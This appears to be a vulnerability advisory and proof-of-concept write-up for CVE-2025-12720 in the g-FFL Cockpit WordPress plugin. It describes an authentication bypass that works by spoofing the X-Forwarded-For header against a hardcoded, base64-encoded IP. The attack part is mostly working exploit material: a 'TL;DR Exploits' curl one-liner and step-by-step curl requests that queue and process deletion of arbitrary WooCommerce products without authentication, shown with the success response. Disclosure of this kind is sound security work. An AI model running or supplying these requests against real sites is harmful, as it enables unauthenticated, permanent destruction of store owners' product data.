CVE-2025-12720

The g-FFL Cockpit plugin does not implement proper authorization checks on the queue and process REST API endpoints, allowing unauthenticated users to delete arbitrary WooCommerce products by spoofing HTTP headers to bypass IP-based authentication.

TL;DR Exploits

TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Details

The queue and process REST API endpoints use IP-based authentication that can be bypassed by spoofing the X-Forwarded-For or CF-Connecting-IP HTTP headers. The authentication mechanism relies on get_client_ip() which trusts user-controllable headers, and checks against a hardcoded IP address stored in the plugin source code.

Located in class-sync-endpoint.php:

34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

The fflcockpit_is_allowed() function uses a hardcoded IP address (base64: My4yMTIuMTg1LjE4Nw==, decoded: 3.212.185.187) that is visible in the plugin source code.

Vulnerable snippet from class-sync-endpoint.php:

11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

The process_product() function routes delete operations to sql_delete_product(), which performs direct SQL deletion of WooCommerce products.

Vulnerable deletion implementation from class-update-processor.php:

634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Manual Reproduction

Note: g-FFL Cockpit requires WooCommerce

  1. Navigate to the target WordPress site with the g-FFL Cockpit plugin installed.

  2. Extract the hardcoded IP address from the plugin source code. The IP is base64 encoded as My4yMTIuMTg1LjE4Nw== in class-sync-endpoint.php, which decodes to 3.212.185.187.

  3. Execute the following curl commands to queue and process product deletion:

curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Process the queued deletion to actually execute the product removal:
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. You will receive confirmation that the deletion was completed:
{
  "status": "completed"
}

The product is permanently deleted from the WooCommerce database, including all associated metadata, term relationships, and images.